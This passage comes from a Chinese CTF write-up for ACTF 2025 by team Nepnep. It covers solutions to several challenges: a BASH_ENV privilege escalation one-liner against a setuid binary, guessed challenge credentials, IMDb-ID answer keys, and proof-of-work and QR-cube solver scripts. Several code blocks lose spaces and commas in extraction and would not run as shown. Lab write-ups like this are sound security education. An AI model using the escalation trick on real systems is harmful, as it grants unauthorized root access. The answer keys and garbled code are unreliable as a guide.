    raise ValueError("在 {} 次试验内未能生成满足条件的素数,考虑调整参数 nbits 或 B".format(max_trials))

# 参数设定:例如生成 256 位、p-1 所有素因子均不超过 1000 的 p
nbits = 256
B = 1000

p = generate_p1_smooth_prime(nbits, B)
print("生成的 p =", p)
print("验证 p 的位长 =", p.nbits(), "位")
print("验证 p-1 的素因子:", factor(p - 1))

Misc

signin

看commit记录

ACTF 2025 Writeup by Nepnep

Hard guess

社工出账密:

Username:KatoMegumi

Password:Megumi960923

flag在root里,发现/opt下的hello在刚开始就 setuid(0); setgid(0);,后面还有 system("bash -c ..."),而且没有清理BASH_ENV,可以利用利用这个环境变量提权:

echo '#!/bin/bashnls /root' > /tmp/pwn.sh && chmod +x /tmp/pwn.sh && BASH_ENV=/tmp/pwn.sh bash -c './hello <<< n'

master of movie

没什么好说的,谷歌识图+GPT

Easy

  1. tt0017136
  2. tt8893624
  3. tt0109946
  4. tt17526714
  5. tt31309480
  6. tt34382036
  7. tt8503618
  8. tt0368226
  9. tt0103767
  10. tt0110912

Hard


  1. tt0109688

  2. tt0043306
  3. tt5004766

QQQRCode

这个用来爆sha256更快

from hashlib import *
from tqdm import tqdm
from pwn import *
def proof_of_work(suffix, xx):
    S = ''.join(chr(h) for h in range(33127))
    found = threading.Event()
    result_queue = Queue()  # 线程安全的结果容器

    def check_combinations(h_chunk):
        try:
            for h in tqdm(h_chunk):
                if found.is_set():
                    return
                for i in S:
                    for j in S:
                        for k in S:
                            candidate = h + i + j + k
                            if hashlib.sha256((candidate + suffix).encode("utf-8")).hexdigest() == xx:
                                result_queue.put(candidate)
                                found.set()
                                return
        except Exception as e:
            print(f"线程内部异常: {e}")
            found.set()

    num_threads = 4
    chunk_size = len(S) // num_threads
    chunks = [S[i*chunk_size:(i+1)*chunk_size] for i in range(num_threads)]
    if len(S) % num_threads != 0:
        chunks[-1] += S[num_threads*chunk_size:]

    with ThreadPoolExecutor(max_workers=num_threads) as executor:
        futures = [executor.submit(check_combinations, chunk) for chunk in chunks]
        try:
            for future in as_completed(futures):
                ifnot result_queue.empty():
                    found.set()
                    for f in futures:
                        f.cancel()
                    break
        except Exception as e:
            print(f"任务监控异常: {e}")

    ifnot result_queue.empty():
        print("Done")
        return result_queue.get()
    else:
        print("DONE")
        returnNone

ip='sensitive_ip'
port=9999
p=remote(ip,port)

byte = p.recvline().decode()
xx = byte.split(" == ")[1].split('n')[0]
suffix = byte.split(") == ")[0].split('+')[1]
print(xx)
print(suffix)
p.recvuntil(":")

p.sendline(proof_of_work(suffix,xx))

print(p.recvline())
bytes = p.recvuntil(":")

第二步的二维码构造可以使用如下代码:

import qrcode
from pyzbar.pyzbar import decode
from PIL import Image

def generate_qr_matrix(word):
    qr = qrcode.QRCode(
        version=1,
        error_correction=qrcode.constants.ERROR_CORRECT_L,
        box_size=1,
        border=0,
    )
    qr.add_data(word)
    qr.make(fit=True)
    img = qr.make_image(fill_color="black", back_color="white")
    return [[img.getpixel((x, y)) == 0for y in range(21)] for x in range(21)]

def create_image(matrix, module_size=10):
    size = len(matrix) * module_size
    img = Image.new("1", (size, size), 1)
    pixels = img.load()

    for x in range(len(matrix)):
        for y in range(len(matrix[0])):
            if matrix[x][y]:
                for dx in range(module_size):
                    for dy in range(module_size):
                        px = x * module_size + dx
                        py = y * module_size + dy
                        if px < size and py < size:
                            pixels[px, py] = 0
    return img

# 生成三个投影矩阵
front = generate_qr_matrix("Azure")
left = generate_qr_matrix("Assassin")
top = generate_qr_matrix("Alliance")

cube = [[[False]*21for _ in range(21)] for __ in range(21)]
covered_front, covered_left, covered_top = set(), set(), set()

# 第一阶段:高效覆盖三维交叉点
for x in range(21):
    for y in range(21):
        if front[x][y] and (x,y) notin covered_front:
            for z in range(21):
                if left[y][z] and top[x][z]:
                    if (y,z) notin covered_left or (x,z) notin covered_top:
                        cube[x][y][z] = True
                        covered_front.add((x,y))
                        covered_left.add((y,z))
                        covered_top.add((x,z))
                        break

# 修正后的第二阶段处理函数
def find_optimal(target, proj_type):
    for i in range(21):
        for j in range(21):
            ifnot target[i][j]:
                continue
            
            # 根据投影类型检查是否已覆盖
            is_covered = {
                'front'lambda i,j: (i,j) in covered_front,
                'left'lambda i,j: (i,j) in covered_left,
                'top'lambda i,j: (i,j) in covered_top
            }[proj_type](i,j)
            
            if is_covered:
                continue

            best = None
            max_score = -1
            # 遍历可能的第三个维度
            for k in range(21):
                # 根据投影类型确定坐标映射
                assert proj_type in ['front''left''top'], "Invalid projection type"
                if proj_type == 'front':
                    x, y = i, j
                    z = k
                if proj_type == 'left':
                    y, z = i, j
                    x = k
                elif proj_type == 'top':
                    x, z = i, j
                    y = k

                ifnot (0 <= x < 21and0 <= y < 21and0 <= z < 21):
                    continue

                score = sum([
                    front[x][y],
                    left[y][z],
                    top[x][z]
                ])
                
                if score > max_score:
                    best = (x,y,z)
                    max_score = score

            if best:
                x,y,z = best
                cube[x][y][z] = True
                covered_front.add((x,y))
                covered_left.add((y,z))
                covered_top.add((x,z))

# 按优先级处理剩余投影
find_optimal(front, 'front')
find_optimal(left, 'left')
find_optimal(top, 'top')

with open("testfront.png""wb"as f:
    create_image(front).save(f)


# 生成最终二进制字符串
input_data = ''.join(
    '1'if cube[x][y][z] else'0'
    for z in range(21
    for y in range(21
    for x in range(21)
)

print(f"生成的二进制字符串: {input_data}")

print(f"总点数: {input_data.count('1')} (小于390: {input_data.count('1') < 390})")
p.sendline(input_data)
print(p.recvline())

构造出来的字符如下:

111111100100101111111100000000000000000000100000000000000000000100000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000000000000000000000000001000000000000000000100000000000000000000001000000000000000000000001000000000000000000000000000000000000100000000000000000000100000000000000000000100000000000001000001100000000000000000001100000000000000000000100000000000000000000100001000000001000000100000001001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000001000001000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000100000000000000000000000000000000000000000001110100000001011101001000000100000000000001000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000001000000000000000000001000000000000000000001000000000000000000000000000000000000000001000000000000000000101000000000000000000000000000000000000000000000001000000000000000110100001001011101000100000000000000000000000000000000000000000100000000000000000000000000000000000000100000000000000000001000010000000000000000000100000000000000000000000000000001000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000100000000000000000001100000010000000000000000000000000000000100000000000000000000000000000010000000000000010100000101011101000000000000000000000000010000000000000000000000000010000000000000010000001000000000000000000000000000000000010000000000000000000000000000000010000000000100000000000000000000000000000000000000010000000000000000000000000000000000000000010000000000000000000010000000000000000000010000000000000000000000000000000000000000010000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001010100000000000000000000000000000000000000000000000000000000000000000000000000000100000001000000000000000000000000000000000000100000000001000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000101110000000000000000000000101010101000001100000000000000000000000000001000000000000100000000000000000000000000100000000000000010001000000000111110000000000000000000000010000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000010000000000000000000000000000000010000000000000000000000000100000000000000000000100000000000000000000100000000000000000000100000000000000000000100000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001100000000000000000011000000000001000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111110100000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001100000000000100000000000000000000000000000100100000000000000000000000000000000000010000000100000000000000000000000000000000000000000000000000000000000010001010000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000010010000010000000000000000000000000000000001000000000000000000001000000000000000000001000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000001010100000000000000000000000000000000000000000000000000000000001000000000000000000000001000110001001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000110000000000001000000000000000000000000000000000000000000000000000000000000100000000000000001100000000000000000000000000000000000000000000000000000000000000000000001000000000010000000000000000000000000000001000000000000000100000000000110000000000000000000000000000000000000000100000000010000010000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000100110000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001000100000001000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000010000000000000000000000000000000000000000100000000000000000001000000000000000000010000000000000000000000000110000100000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000010010000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000100000000000000000000000000000001000100000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000111000000000001000010000000000000000000001000000000000000000001000000000000000000100000000000000000000000000000000000000001000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000110110101000000000100100000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000001000000100000000000000000000000000000000000000000100000000000000000000001000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000001000000000000010000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000001000000000000000000000000000100000000001000111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000100000000000000000000000000000000000000000100000000000000000100000000000000000000000000000000100000000000000000000000000000000000100000000000000000000000000000100000000000000000000000000000000001000000000000000000000000000000000000100010000000100110001000000010000000000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010100000001101110001100100000000000000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000100000000000000000000000000000010000110000000000000000000000000100000000000000000000000000000000000000000000000000000000000000100110101001000000000000000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010010000000000000000000000000000000000000000000001000000000000000000000000000000000000000000100100000000000000000000100000000000000000000100000101110000001100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000000000000000000000000111111101011000100000100000000000000000000100000000000000000000100000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000010000000000000010000010000000000000000000000000000000000000000010000000000000000000000100000000000000000000000000000000000000000000000000000000000010000000000000000000000100000000000000000000000000000000000000000
ACTF 2025 Writeup by Nepnep

原文始发于微信公众号(Nepnep网络安全):ACTF 2025 Writeup by Nepnep

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月28日23:48:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ACTF 2025 Writeup by Nepnephttps://cn-sec.com/archives/4011487.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息